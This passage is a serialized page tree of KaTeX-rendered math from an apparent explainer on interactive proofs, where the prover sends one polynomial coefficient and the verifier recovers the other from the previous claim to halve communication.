14090,"children":114092},{"className":114091},[246,2145,2183],[114093],{"type":31,"value":2283},{"type":25,"tag":216,"props":114095,"children":114097},{"className":114096},[408],[114098],{"type":31,"value":411},{"type":25,"tag":216,"props":114100,"children":114102},{"className":114101},[304],[114103],{"type":25,"tag":216,"props":114104,"children":114106},{"className":114105,"style":2203},[309],[114107],{"type":25,"tag":216,"props":114108,"children":114109},{},[],{"type":25,"tag":216,"props":114111,"children":114113},{"className":114112},[287],[114114],{"type":31,"value":1844},{"type":25,"tag":216,"props":114116,"children":114118},{"className":114117,"style":2223},[246,2145],[114119],{"type":31,"value":10078},{"type":25,"tag":216,"props":114121,"children":114123},{"className":114122},[427],[114124],{"type":31,"value":1882},{"type":25,"tag":216,"props":114126,"children":114128},{"className":114127,"style":258},[257],[],{"type":25,"tag":216,"props":114130,"children":114132},{"className":114131},[263],[114133],{"type":31,"value":266},{"type":25,"tag":216,"props":114135,"children":114137},{"className":114136,"style":258},[257],[],{"type":25,"tag":216,"props":114139,"children":114141},{"className":114140},[235],[114142,114147,114152,114156,114161],{"type":25,"tag":216,"props":114143,"children":114146},{"className":114144,"style":114145},[240],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":25,"tag":216,"props":114148,"children":114150},{"className":114149},[246,2145],[114151],{"type":31,"value":162},{"type":25,"tag":216,"props":114153,"children":114155},{"className":114154,"style":335},[257],[],{"type":25,"tag":216,"props":114157,"children":114159},{"className":114158},[340],[114160],{"type":31,"value":3533},{"type":25,"tag":216,"props":114162,"children":114164},{"className":114163,"style":335},[257],[],{"type":25,"tag":216,"props":114166,"children":114168},{"className":114167},[235],[114169,114173,114178],{"type":25,"tag":216,"props":114170,"children":114172},{"className":114171,"style":96927},[240],[],{"type":25,"tag":216,"props":114174,"children":114176},{"className":114175},[246,2145],[114177],{"type":31,"value":7165},{"type":25,"tag":216,"props":114179,"children":114181},{"className":114180,"style":2223},[246,2145],[114182],{"type":31,"value":10078},{"type":31,"value":114184}," has only two coefficients. Since the verifier knows ",{"type":25,"tag":82,"props":114186,"children":114188},{"className":114187},[212,4696],[114189],{"type":25,"tag":216,"props":114190,"children":114192},{"className":114191},[224],[114193],{"type":25,"tag":216,"props":114194,"children":114196},{"className":114195,"ariaHidden":230},[229],[114197,114290,114383],{"type":25,"tag":216,"props":114198,"children":114200},{"className":114199},[235],[114201,114205,114262,114267,114272,114277,114281,114286],{"type":25,"tag":216,"props":114202,"children":114204},{"className":114203,"style":5507},[240],[],{"type":25,"tag":216,"props":114206,"children":114208},{"className":114207},[246],[114209,114214],{"type":25,"tag":216,"props":114210,"children":114212},{"className":114211,"style":2319},[246,2145],[114213],{"type":31,"value":113244},{"type":25,"tag":216,"props":114215,"children":114217},{"className":114216},[2153],[114218],{"type":25,"tag":216,"props":114219,"children":114221},{"className":114220},[298,299],[114222,114251],{"type":25,"tag":216,"props":114223,"children":114225},{"className":114224},[304],[114226,114246],{"type":25,"tag":216,"props":114227,"children":114229},{"className":114228,"style":2264},[309],[114230],{"type":25,"tag":216,"props":114231,"children":114232},{"style":2341},[114233,114237],{"type":25,"tag":216,"props":114234,"children":114236},{"className":114235,"style":2175},[319],[],{"type":25,"tag":216,"props":114238,"children":114240},{"className":114239},[2180,2181,2182,2183],[114241],{"type":25,"tag":216,"props":114242,"children":114244},{"className":114243},[246,2145,2183],[114245],{"type":31,"value":2283},{"type":25,"tag":216,"props":114247,"children":114249},{"className":114248},[408],[114250],{"type":31,"value":411},{"type":25,"tag":216,"props":114252,"children":114254},{"className":114253},[304],[114255],{"type":25,"tag":216,"props":114256,"children":114258},{"className":114257,"style":2203},[309],[114259],{"type":25,"tag":216,"props":114260,"children":114261},{},[],{"type":25,"tag":216,"props":114263,"children":114265},{"className":114264},[287],[114266],{"type":31,"value":1844},{"type":25,"tag":216,"props":114268,"children":114270},{"className":114269},[246],[114271],{"type":31,"value":1876},{"type":25,"tag":216,"props":114273,"children":114275},{"className":114274},[427],[114276],{"type":31,"value":1882},{"type":25,"tag":216,"props":114278,"children":114280},{"className":114279,"style":335},[257],[],{"type":25,"tag":216,"props":114282,"children":114284},{"className":114283},[340],[114285],{"type":31,"value":3533},{"type":25,"tag":216,"props":114287,"children":114289},{"className":114288,"style":335},[257],[],{"type":25,"tag":216,"props":114291,"children":114293},{"className":114292},[235],[114294,114298,114355,114360,114365,114370,114374,114379],{"type":25,"tag":216,"props":114295,"children":114297},{"className":114296,"style":5507},[240],[],{"type":25,"tag":216,"props":114299,"children":114301},{"className":114300},[246],[114302,114307],{"type":25,"tag":216,"props":114303,"children":114305},{"className":114304,"style":2319},[246,2145],[114306],{"type":31,"value":113244},{"type":25,"tag":216,"props":114308,"children":114310},{"className":114309},[2153],[114311],{"type":25,"tag":216,"props":114312,"children":114314},{"className":114313},[298,299],[114315,114344],{"type":25,"tag":216,"props":114316,"children":114318},{"className":114317},[304],[114319,114339],{"type":25,"tag":216,"props":114320,"children":114322},{"className":114321,"style":2264},[309],[114323],{"type":25,"tag":216,"props":114324,"children":114325},{"style":2341},[114326,114330],{"type":25,"tag":216,"props":114327,"children":114329},{"className":114328,"style":2175},[319],[],{"type":25,"tag":216,"props":114331,"children":114333},{"className":114332},[2180,2181,2182,2183],[114334],{"type":25,"tag":216,"props":114335,"children":114337},{"className":114336},[246,2145,2183],[114338],{"type":31,"value":2283},{"type":25,"tag":216,"props":114340,"children":114342},{"className":114341},[408],[114343],{"type":31,"value":411},{"type":25,"tag":216,"props":114345,"children":114347},{"className":114346},[304],[114348],{"type":25,"tag":216,"props":114349,"children":114351},{"className":114350,"style":2203},[309],[114352],{"type":25,"tag":216,"props":114353,"children":114354},{},[],{"type":25,"tag":216,"props":114356,"children":114358},{"className":114357},[287],[114359],{"type":31,"value":1844},{"type":25,"tag":216,"props":114361,"children":114363},{"className":114362},[246],[114364],{"type":31,"value":184},{"type":25,"tag":216,"props":114366,"children":114368},{"className":114367},[427],[114369],{"type":31,"value":1882},{"type":25,"tag":216,"props":114371,"children":114373},{"className":114372,"style":258},[257],[],{"type":25,"tag":216,"props":114375,"children":114377},{"className":114376},[263],[114378],{"type":31,"value":266},{"type":25,"tag":216,"props":114380,"children":114382},{"className":114381,"style":258},[257],[],{"type":25,"tag":216,"props":114384,"children":114386},{"className":114385},[235],[114387,114392],{"type":25,"tag":216,"props":114388,"children":114391},{"className":114389,"style":114390},[240],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":25,"tag":216,"props":114393,"children":114395},{"className":114394},[246],[114396,114401],{"type":25,"tag":216,"props":114397,"children":114399},{"className":114398,"style":2673},[246,2145],[114400],{"type":31,"value":2676},{"type":25,"tag":216,"props":114402,"children":114404},{"className":114403},[2153],[114405],{"type":25,"tag":216,"props":114406,"children":114408},{"className":114407},[298,299],[114409,114452],{"type":25,"tag":216,"props":114410,"children":114412},{"className":114411},[304],[114413,114447],{"type":25,"tag":216,"props":114414,"children":114416},{"className":114415,"style":2264},[309],[114417],{"type":25,"tag":216,"props":114418,"children":114419},{"style":2696},[114420,114424],{"type":25,"tag":216,"props":114421,"children":114423},{"className":114422,"style":2175},[319],[],{"type":25,"tag":216,"props":114425,"children":114427},{"className":114426},[2180,2181,2182,2183],[114428],{"type":25,"tag":216,"props":114429,"children":114431},{"className":114430},[246,2183],[114432,114437,114442],{"type":25,"tag":216,"props":114433,"children":114435},{"className":114434},[246,2145,2183],[114436],{"type":31,"value":2283},{"type":25,"tag":216,"props":114438,"children":114440},{"className":114439},[340,2183],[114441],{"type":31,"value":3372},{"type":25,"tag":216,"props":114443,"children":114445},{"className":114444},[246,2183],[114446],{"type":31,"value":184},{"type":25,"tag":216,"props":114448,"children":114450},{"className":114449},[408],[114451],{"type":31,"value":411},{"type":25,"tag":216,"props":114453,"children":114455},{"className":114454},[304],[114456],{"type":25,"tag":216,"props":114457,"children":114460},{"className":114458,"style":114459},[309],"height:0.2083em;",[114461],{"type":25,"tag":216,"props":114462,"children":114463},{},[],{"type":31,"value":114465}," (the previous claim), we have:",{"type":25,"tag":38,"props":114467,"children":114468},{},[114469],{"type":25,"tag":82,"props":114470,"children":114472},{"className":114471},[212,4696],[114473],{"type":25,"tag":216,"props":114474,"children":114476},{"className":114475},[224],[114477],{"type":25,"tag":216,"props":114478,"children":114480},{"className":114479,"ariaHidden":230},[229],[114481,114507,114538,114569,114670,114696,114788],{"type":25,"tag":216,"props":114482,"children":114484},{"className":114483},[235],[114485,114489,114494,114498,114503],{"type":25,"tag":216,"props":114486,"children":114488},{"className":114487,"style":114145},[240],[],{"type":25,"tag":216,"props":114490,"children":114492},{"className":114491},[246,2145],[114493],{"type":31,"value":162},{"type":25,"tag":216,"props":114495,"children":114497},{"className":114496,"style":335},[257],[],{"type":25,"tag":216,"props":114499,"children":114501},{"className":114500},[340],[114502],{"type":31,"value":3533},{"type":25,"tag":216,"props":114504,"children":114506},{"className":114505,"style":335},[257],[],{"type":25,"tag":216,"props":114508,"children":114510},{"className":114509},[235],[114511,114515,114520,114525,114529,114534],{"type":25,"tag":216,"props":114512,"children":114514},{"className":114513,"style":5507},[240],[],{"type":25,"tag":216,"props":114516,"children":114518},{"className":114517},[287],[114519],{"type":31,"value":1844},{"type":25,"tag":216,"props":114521,"children":114523},{"className":114522},[246,2145],[114524],{"type":31,"value":162},{"type":25,"tag":216,"props":114526,"children":114528},{"className":114527,"style":335},[257],[],{"type":25,"tag":216,"props":114530,"children":114532},{"className":114531},[340],[114533],{"type":31,"value":3533},{"type":25,"tag":216,"props":114535,"children":114537},{"className":114536,"style":335},[257],[],{"type":25,"tag":216,"props":114539,"children":114541},{"className":114540},[235],[114542,114546,114551,114556,114560,114565],{"type":25,"tag":216,"props":114543,"children":114545},{"className":114544,"style":5507},[240],[],{"type":25,"tag":216,"props":114547,"children":114549},{"className":114548},[246,2145],[114550],{"type":31,"value":7165},{"type":25,"tag":216,"props":114552,"children":114554},{"className":114553},[427],[114555],{"type":31,"value":1882},{"type":25,"tag":216,"props":114557,"children":114559},{"className":114558,"style":258},[257],[],{"type":25,"tag":216,"props":114561,"children":114563},{"className":114562},[263],[114564],{"type":31,"value":266},{"type":25,"tag":216,"props":114566,"children":114568},{"className":114567,"style":258},[257],[],{"type":25,"tag":216,"props":114570,"children":114572},{"className":114571},[235],[114573,114577,114648,114652,114656,114662,114666],{"type":25,"tag":216,"props":114574,"children":114576},{"className":114575,"style":114390},[240],[],{"type":25,"tag":216,"props":114578,"children":114580},{"className":114579},[246],[114581,114586],{"type":25,"tag":216,"props":114582,"children":114584},{"className":114583,"style":2673},[246,2145],[114585],{"type":31,"value":2676},{"type":25,"tag":216,"props":114587,"children":114589},{"className":114588},[2153],[114590],{"type":25,"tag":216,"props":114591,"children":114593},{"className":114592},[298,299],[114594,114637],{"type":25,"tag":216,"props":114595,"children":114597},{"className":114596},[304],[114598,114632],{"type":25,"tag":216,"props":114599,"children":114601},{"className":114600,"style":2264},[309],[114602],{"type":25,"tag":216,"props":114603,"children":114604},{"style":2696},[114605,114609],{"type":25,"tag":216,"props":114606,"children":114608},{"className":114607,"style":2175},[319],[],{"type":25,"tag":216,"props":114610,"children":114612},{"className":114611},[2180,2181,2182,2183],[114613],{"type":25,"tag":216,"props":114614,"children":114616},{"className":114615},[246,2183],[114617,114622,114627],{"type":25,"tag":216,"props":114618,"children":114620},{"className":114619},[246,2145,2183],[114621],{"type":31,"value":2283},{"type":25,"tag":216,"props":114623,"children":114625},{"className":114624},[340,2183],[114626],{"type":31,"value":3372},{"type":25,"tag":216,"props":114628,"children":114630},{"className":114629},[246,2183],[114631],{"type":31,"value":184},{"type":25,"tag":216,"props":114633,"children":114635},{"className":114634},[408],[114636],{"type":31,"value":411},{"type":25,"tag":216,"props":114638,"children":114640},{"className":114639},[304],[114641],{"type":25,"tag":216,"props":114642,"children":114644},{"className":114643,"style":114459},[309],[114645],{"type":25,"tag":216,"props":114646,"children":114647},{},[],{"type":25,"tag":216,"props":114649,"children":114651},{"className":114650,"style":258},[257],[],{"type":25,"tag":216,"props":114653,"children":114655},{"className":114654,"style":258},[257],[],{"type":25,"tag":216,"props":114657,"children":114659},{"className":114658},[263],[114660],{"type":31,"value":114661},"⟹",{"type":25,"tag":216,"props":114663,"children":114665},{"className":114664,"style":258},[257],[],{"type":25,"tag":216,"props":114667,"children":114669},{"className":114668,"style":258},[257],[],{"type":25,"tag":216,"props":114671,"children":114673},{"className":114672},[235],[114674,114678,114683,114687,114692],{"type":25,"tag":216,"props":114675,"children":114677},{"className":114676,"style":96927},[240],[],{"type":25,"tag":216,"props":114679,"children":114681},{"className":114680},[246,2145],[114682],{"type":31,"value":7165},{"type":25,"tag":216,"props":114684,"children":114686},{"className":114685,"style":258},[257],[],{"type":25,"tag":216,"props":114688,"children":114690},{"className":114689},[263],[114691],{"type":31,"value":266},{"type":25,"tag":216,"props":114693,"children":114695},{"className":114694,"style":258},[257],[],{"type":25,"tag":216,"props":114697,"children":114699},{"className":114698},[235],[114700,114704,114775,114779,114784],{"type":25,"tag":216,"props":114701,"children":114703},{"className":114702,"style":114390},[240],[],{"type":25,"tag":216,"props":114705,"children":114707},{"className":114706},[246],[114708,114713],{"type":25,"tag":216,"props":114709,"children":114711},{"className":114710,"style":2673},[246,2145],[114712],{"type":31,"value":2676},{"type":25,"tag":216,"props":114714,"children":114716},{"className":114715},[2153],[114717],{"type":25,"tag":216,"props":114718,"children":114720},{"className":114719},[298,299],[114721,114764],{"type":25,"tag":216,"props":114722,"children":114724},{"className":114723},[304],[114725,114759],{"type":25,"tag":216,"props":114726,"children":114728},{"className":114727,"style":2264},[309],[114729],{"type":25,"tag":216,"props":114730,"children":114731},{"style":2696},[114732,114736],{"type":25,"tag":216,"props":114733,"children":114735},{"className":114734,"style":2175},[319],[],{"type":25,"tag":216,"props":114737,"children":114739},{"className":114738},[2180,2181,2182,2183],[114740],{"type":25,"tag":216,"props":114741,"children":114743},{"className":114742},[246,2183],[114744,114749,114754],{"type":25,"tag":216,"props":114745,"children":114747},{"className":114746},[246,2145,2183],[114748],{"type":31,"value":2283},{"type":25,"tag":216,"props":114750,"children":114752},{"className":114751},[340,2183],[114753],{"type":31,"value":3372},{"type":25,"tag":216,"props":114755,"children":114757},{"className":114756},[246,2183],[114758],{"type":31,"value":184},{"type":25,"tag":216,"props":114760,"children":114762},{"className":114761},[408],[114763],{"type":31,"value":411},{"type":25,"tag":216,"props":114765,"children":114767},{"className":114766},[304],[114768],{"type":25,"tag":216,"props":114769,"children":114771},{"className":114770,"style":114459},[309],[114772],{"type":25,"tag":216,"props":114773,"children":114774},{},[],{"type":25,"tag":216,"props":114776,"children":114778},{"className":114777,"style":335},[257],[],{"type":25,"tag":216,"props":114780,"children":114782},{"className":114781},[340],[114783],{"type":31,"value":3372},{"type":25,"tag":216,"props":114785,"children":114787},{"className":114786,"style":335},[257],[],{"type":25,"tag":216,"props":114789,"children":114791},{"className":114790},[235],[114792,114796,114801],{"type":25,"tag":216,"props":114793,"children":114795},{"className":114794,"style":5287},[240],[],{"type":25,"tag":216,"props":114797,"children":114799},{"className":114798},[246],[114800],{"type":31,"value":331},{"type":25,"tag":216,"props":114802,"children":114804},{"className":114803},[246,2145],[114805],{"type":31,"value":162},{"type":25,"tag":38,"props":114807,"children":114808},{},[114809,114811,114929,114931,114956],{"type":31,"value":114810},"So the prover only sends ",{"type":25,"tag":82,"props":114812,"children":114814},{"className":114813},[212,4696],[114815],{"type":25,"tag":216,"props":114816,"children":114818},{"className":114817},[224],[114819],{"type":25,"tag":216,"props":114820,"children":114822},{"className":114821,"ariaHidden":230},[229],[114823,114849],{"type":25,"tag":216,"props":114824,"children":114826},{"className":114825},[235],[114827,114831,114836,114840,114845],{"type":25,"tag":216,"props":114828,"children":114830},{"className":114829,"style":6309},[240],[],{"type":25,"tag":216,"props":114832,"children":114834},{"className":114833},[246,2145],[114835],{"type":31,"value":162},{"type":25,"tag":216,"props":114837,"children":114839},{"className":114838,"style":258},[257],[],{"type":25,"tag":216,"props":114841,"children":114843},{"className":114842},[263],[114844],{"type":31,"value":266},{"type":25,"tag":216,"props":114846,"children":114848},{"className":114847,"style":258},[257],[],{"type":25,"tag":216,"props":114850,"children":114852},{"className":114851},[235],[114853,114857,114914,114919,114924],{"type":25,"tag":216,"props":114854,"children":114856},{"className":114855,"style":5507},[240],[],{"type":25,"tag":216,"props":114858,"children":114860},{"className":114859},[246],[114861,114866],{"type":25,"tag":216,"props":114862,"children":114864},{"className":114863,"style":2319},[246,2145],[114865],{"type":31,"value":113244},{"type":25,"tag":216,"props":114867,"children":114869},{"className":114868},[2153],[114870],{"type":25,"tag":216,"props":114871,"children":114873},{"className":114872},[298,299],[114874,114903],{"type":25,"tag":216,"props":114875,"children":114877},{"className":114876},[304],[114878,114898],{"type":25,"tag":216,"props":114879,"children":114881},{"className":114880,"style":2264},[309],[114882],{"type":25,"tag":216,"props":114883,"children":114884},{"style":2341},[114885,114889],{"type":25,"tag":216,"props":114886,"children":114888},{"className":114887,"style":2175},[319],[],{"type":25,"tag":216,"props":114890,"children":114892},{"className":114891},[2180,2181,2182,2183],[114893],{"type":25,"tag":216,"props":114894,"children":114896},{"className":114895},[246,2145,2183],[114897],{"type":31,"value":2283},{"type":25,"tag":216,"props":114899,"children":114901},{"className":114900},[408],[114902],{"type":31,"value":411},{"type":25,"tag":216,"props":114904,"children":114906},{"className":114905},[304],[114907],{"type":25,"tag":216,"props":114908,"children":114910},{"className":114909,"style":2203},[309],[114911],{"type":25,"tag":216,"props":114912,"children":114913},{},[],{"type":25,"tag":216,"props":114915,"children":114917},{"className":114916},[287],[114918],{"type":31,"value":1844},{"type":25,"tag":216,"props":114920,"children":114922},{"className":114921},[246],[114923],{"type":31,"value":1876},{"type":25,"tag":216,"props":114925,"children":114927},{"className":114926},[427],[114928],{"type":31,"value":1882},{"type":31,"value":114930},", and the verifier recovers ",{"type":25,"tag":82,"props":114932,"children":114934},{"className":114933},[212,4696],[114935],{"type":25,"tag":216,"props":114936,"children":114938},{"className":114937},[224],[114939],{"type":25,"tag":216,"props":114940,"children":114942},{"className":114941,"ariaHidden":230},[229],[114943],{"type":25,"tag":216,"props":114944,"children":114946},{"className":114945},[235],[114947,114951],{"type":25,"tag":216,"props":114948,"children":114950},{"className":114949,"style":96927},[240],[],{"type":25,"tag":216,"props":114952,"children":114954},{"className":114953},[246,2145],[114955],{"type":31,"value":7165},{"type":31,"value":114957},". This saves 50% on communication costs.",{"type":25,"tag":38,"props":114959,"children":114960},{},[114961],{"type":31,"value":114962},"The next claim in the chain is",{"type":25,"tag":38,"props":114964,"children":114965},{},[114966],{"type":25,"tag":82,"props":114967,"children":114969},{"className":114968},[212,4696],[114970],{"type":25,"tag":216,"props":114971,"children":114973},{"className":114972},[224],[114974],{"type":25,"tag":216,"props":114975,"children":114977},{"className":114976,"ariaHidden":230},[229],[114978,115056,115201,115227,115253,115331,115357,115454,115490,115568,115604,115692,115784],{"type":25,"tag":216,"props":114979,"children":114981},{"className":114980},[235],[114982,114986,115043,115047,115052],{"type":25,"tag":216,"props":114983,"children":114985},{"className":114984,"style":4713},[240],[],{"type":25,"tag":216,"props":114987,"children":114989},{"className":114988},[246],[114990,114995],{"type":25,"tag":216,"props":114991,"children":114993},{"className":114992,"style":2673},[246,2145],[114994],{"type":31,"value":2676},{"type":25,"tag":216,"props":114996,"children":114998},{"className":114997},[2153],[114999],{"type":25,"tag":216,"props":115000,"children":115002},{"className":115001},[298,299],[115003,115032],{"type":25,"tag":216,"props":115004,"children":115006},{"className":115005},[304],[115007,115027],{"type":25,"tag":216,"props":115008,"children":115010},{"className":115009,"style":2264},[309],[115011],{"type":25,"tag":216,"props":115012,"children":115013},{"style":2696},[115014,115018],{"type":25,"tag":216,"props":115015,"children":115017},{"className":115016,"style":2175},[319],[],{"type":25,"tag":216,"props":115019,"children":115021},{"className":115020},[2180,2181,2182,2183],[115022],{"type":25,"tag":216,"props":115023,"children":115025},{"className":115024},[246,2145,2183],[115026],{"type":31,"value":2283},{"type":25,"tag":216,"props":115028,"children":115030},{"className":115029},[408],[115031],{"type":31,"value":411},{"type":25,"tag":216,"props":115033,"children":115035},{"className":115034},[304],[115036],{"type":25,"tag":216,"props":115037,"children":115039},{"className":115038,"style":2203},[309],[115040],{"type":25,"tag":216,"props":115041,"children":115042},{},[],{"type":25,"tag":216,"props":115044,"children":115046},{"className":115045,"style":258},[257],[],{"type":25,"tag":216,"props":115048,"children":115050},{"className":115049},[263],[115051],{"type":31,"value":266},{"type":25,"tag":216,"props":115053,"children":115055},{"className":115054,"style":258},[257],[],{"type":25,"tag":216,"props":115057,"children":115059},{"className":115058},[235],[115060,115064,115121,115126,115183,115188,115192,115197],{"type":25,"tag":216,"props":115061,"children":115063},{"className":115062,"style":5507},[240],[],{"type":25,"tag":216,"props":115065,"children":115067},{"className":115066},[246],[115068,115073],{"type":25,"tag":216,"props":115069,"children":115071},{"className":115070,"style":2319},[246,2145],[115072],{"type":31,"value":113244},{"type":25,"tag":216,"props":115074,"children":115076},{"className":115075},[2153],[115077],{"type":25,"tag":216,"props":115078,"children":115080},{"className":115079},[298,299],[115081,115110],{"type":25,"tag":216,"props":115082,"children":115084},{"className":115083},[304],[115085,115105],{"type":25,"tag":216,"props":115086,"children":115088},{"className":115087,"style":2264},[309],[115089],{"type":25,"tag":216,"props":115090,"children":115091},{"style":2341},[115092,115096],{"type":25,"tag":216,"props":115093,"children":115095},{"className":115094,"style":2175},[319],[],{"type":25,"tag":216,"props":115097,"children":115099},{"className":115098},[2180,2181,2182,2183],[115100],{"type":25,"tag":216,"props":115101,"children":115103},{"className":115102},[246,2145,2183],[115104],{"type":31,"value":2283},{"type":25,"tag":216,"props":115106,"children":115108},{"className":115107},[408],[115109],{"type":31,"value":411},{"type":25,"tag":216,"props":115111,"children":115113},{"className":115112},[304],[115114],{"type":25,"tag":216,"props":115115,"children":115117},{"className":115116,"style":2203},[309],[115118],{"type":25,"tag":216,"props":115119,"children":115120},{},[],{"type":25,"tag":216,"props":115122,"children":115124},{"className":115123},[287],[115125],{"type":31,"value":1844},{"type":25,"tag":216,"props":115127,"children":115129},{"className":115128},[246],[115130,115135],{"type":25,"tag":216,"props":115131,"children":115133},{"className":115132,"style":2746},[246,2145],[115134],{"type":31,"value":97823},{"type":25,"tag":216,"props":115136,"children":115138},{"className":115137},[2153],[115139],{"type":25,"tag":216,"props":115140,"children":115142},{"className":115141},[298,299],[115143,115172],{"type":25,"tag":216,"props":115144,"children":115146},{"className":115145},[304],[115147,115167],{"type":25,"tag":216,"props":115148,"children":115150},{"className":115149,"style":2264},[309],[115151],{"type":25,"tag":216,"props":115152,"children":115153},{"style":2768},[115154,115158],{"type":25,"tag":216,"props":115155,"children":115157},{"className":115156,"style":2175},[319],[],{"type":25,"tag":216,"props":115159,"children":115161},{"className":115160},[2180,2181,2182,2183],[115162],{"type":25,"tag":216,"props":115163,"children":115165},{"className":115164},[246,2145,2183],[115166],{"type":31,"value":2283},{"type":25,"tag":216,"props":115168,"children":115170},{"className":115169},[408],[115171],{"type":31,"value":411},{"type":25,"tag":216,"props":115173,"children":115175},{"className":115174},[304],[115176],{"type":25,"tag":216,"props":115177,"children":115179},{"className":115178,"style":2203},[309],[115180],{"type":25,"tag":216,"props":115181,"children":115182},{},[],{"type":25,"tag":216,"props":115184,"children":115186},{"className":115185},[427],[115187],{"type":31,"value":1882},{"type":25,"tag":216,"props":115189,"children":115191},{"className":115190,"style":258},[257],[],{"type":25,"tag":216,"props":115193,"children":115195},{"className":115194},[263],[115196],{"type":31,"value":266},{"type":25,"tag":216,"props":115198,"children":115200},{"className":115199,"style":258},[257],[],{"type":25,"tag":216,"props":115202,"children":115204},{"className":115203},[235],[115205,115209,115214,115218,115223],{"type":25,"tag":216,"props":115206,"children":115208},{"className":115207,"style":114145},[240],[],{"type":25,"tag":216,"props":115210,"children":115212},{"className":115211},[246,2145],[115213],{"type":31,"value":162},{"type":25,"tag":216,"props":115215,"children":115217},{"className":115216,"style":335},[257],[],{"type":25,"tag":216,"props":115219,"children":115221},{"className":115220},[340],[115222],{"type":31,"value":3533},{"type":25,"tag":216,"props":115224,"children":115226},{"className":115225,"style":335},[257],[],{"type":25,"tag":216,"props":115228,"children":115230},{"className":115229},[235],[115231,115235,115240,115244,115249],{"type":25,"tag":216,"props":115232,"children":115234},{"className":115233,"style":96927},[240],[],{"type":25,"tag":216,"props":115236,"children":115238},{"className":115237},[246,2145],[115239],{"type":31,"value":7165},{"type":25,"tag":216,"props":115241,"children":115243},{"className":115242,"style":335},[257],[],{"type":25,"tag":216,"props":115245,"children":115247},{"className":115246},[340],[115248],{"type":31,"value":343},{"type":25,"tag":216,"props":115250,"children":115252},{"className":115251,"style":335},[257],[],{"type":25,"tag":216,"props":115254,"children":115256},{"className":115255},[235],[115257,115261,115318,115322,115327],{"type":25,"tag":216,"props":115258,"children":115260},{"className":115259,"style":4821},[240],[],{"type":25,"tag":216,"props":115262,"children":115264},{"className":115263},[246],[115265,115270],{"type":25,"tag":216,"props":115266,"children":115268},{"className":115267,"style":2746},[246,2145],[115269],{"type":31,"value":97823},{"type":25,"tag":216,"props":115271,"children":115273},{"className":115272},[2153],[115274],{"type":25,"tag":216,"props":115275,"children":115277},{"className":115276},[298,299],[115278,115307],{"type":25,"tag":216,"props":115279,"children":115281},{"className":115280},[304],[115282,115302],{"type":25,"tag":216,"props":115283,"children":115285},{"className":115284,"style":2264},[309],[115286],{"type":25,"tag":216,"props":115287,"children":115288},{"style":2768},[115289,115293],{"type":25,"tag":216,"props":115290,"children":115292},{"className":115291,"style":2175},[319],[],{"type":25,"tag":216,"props":115294,"children":115296},{"className":115295},[2180,2181,2182,2183],[115297],{"type":25,"tag":216,"props":115298,"children":115300},{"className":115299},[246,2145,2183],[115301],{"type":31,"value":2283},{"type":25,"tag":216,"props":115303,"children":115305},{"className":115304},[408],[115306],{"type":31,"value":411},{"type":25,"tag":216,"props":115308,"children":115310},{"className":115309},[304],[115311],{"type":25,"tag":216,"props":115312,"children":115314},{"className":115313,"style":2203},[309],[115315],{"type":25,"tag":216,"props":115316,"children":115317},{},[],{"type":25,"tag":216,"props":115319,"children":115321},{"className":115320,"style":258},[257],[],{"type":25,"tag":216,"props":115323,"children":115325},{"className":115324},[263],[115326],{"type":31,"value":266},{"type":25,"tag":216,"props":115328,"children":115330},{"className":115329,"style":258},[257],[],{"type":25,"tag":216,"props":115332,"children":115334},{"className":115333},[235],[115335,115339,115344,115348,115353],{"type":25,"tag":216,"props":115336,"children":115338},{"className":115337,"style":114145},[240],[],{"type":25,"tag":216,"props":115340,"children":115342},{"className":115341},[246,2145],[115343],{"type":31,"value":162},{"type":25,"tag":216,"props":115345,"children":115347},{"className":115346,"style":335},[257],[],{"type":25,"tag":216,"props":115349,"children":115351},{"className":115350},[340],[115352],{"type":31,"value":3533},{"type":25,"tag":216,"props":115354,"children":115356},{"className":115355,"style":335},[257],[],{"type":25,"tag":216,"props":115358,"children":115360},{"className":115359},[235],[115361,115365,115370,115441,115445,115450],{"type":25,"tag":216,"props":115362,"children":115364},{"className":115363,"style":5507},[240],[],{"type":25,"tag":216,"props":115366,"children":115368},{"className":115367},[287],[115369],{"type":31,"value":1844},{"type":25,"tag":216,"props":115371,"children":115373},{"className":115372},[246],[115374,115379],{"type":25,"tag":216,"props":115375,"children":115377},{"className":115376,"style":2673},[246,2145],[115378],{"type":31,"value":2676},{"type":25,"tag":216,"props":115380,"children":115382},{"className":115381},[2153],[115383],{"type":25,"tag":216,"props":115384,"children":115386},{"className":115385},[298,299],[115387,115430],{"type":25,"tag":216,"props":115388,"children":115390},{"className":115389},[304],[115391,115425],{"type":25,"tag":216,"props":115392,"children":115394},{"className":115393,"style":2264},[309],[115395],{"type":25,"tag":216,"props":115396,"children":115397},{"style":2696},[115398,115402],{"type":25,"tag":216,"props":115399,"children":115401},{"className":115400,"style":2175},[319],[],{"type":25,"tag":216,"props":115403,"children":115405},{"className":115404},[2180,2181,2182,2183],[115406],{"type":25,"tag":216,"props":115407,"children":115409},{"className":115408},[246,2183],[115410,115415,115420],{"type":25,"tag":216,"props":115411,"children":115413},{"className":115412},[246,2145,2183],[115414],{"type":31,"value":2283},{"type":25,"tag":216,"props":115416,"children":115418},{"className":115417},[340,2183],[115419],{"type":31,"value":3372},{"type":25,"tag":216,"props":115421,"children":115423},{"className":115422},[246,2183],[115424],{"type":31,"value":184},{"type":25,"tag":216,"props":115426,"children":115428},{"className":115427},[408],[115429],{"type":31,"value":411},{"type":25,"tag":216,"props":115431,"children":115433},{"className":115432},[304],[115434],{"type":25,"tag":216,"props":115435,"children":115437},{"className":115436,"style":114459},[309],[115438],{"type":25,"tag":216,"props":115439,"children":115440},{},[],{"type":25,"tag":216,"props":115442,"children":115444},{"className":115443,"style":335},[257],[],{"type":25,"tag":216,"props":115446,"children":115448},{"className":115447},[340],[115449],{"type":31,"value":3372},{"type":25,"tag":216,"props":115451,"children":115453},{"className":115452,"style":335},[257],[],{"type":25,"tag":216,"props":115455,"children":115457},{"className":115456},[235],[115458,115462,115467,115472,115477,115481,115486],{"type":25,"tag":216,"props":115459,"children":115461},{"className":115460,"style":5507},[240],[],{"type":25,"tag":216,"props":115463,"children":115465},{"className":115464},[246],[115466],{"type":31,"value":331},{"type":25,"tag":216,"props":115468,"children":115470},{"className":115469},[246,2145],[115471],{"type":31,"value":162},{"type":25,"tag":216,"props":115473,"children":115475},{"className":115474},[427],[115476],{"type":31,"value":1882},{"type":25,"tag":216,"props":115478,"children":115480},{"className":115479,"style":335},[257],[],{"type":25,"tag":216,"props":115482,"children":115484},{"className":115483},[340],[115485],{"type":31,"value":343},{"type":25,"tag":216,"props":115487,"children":115489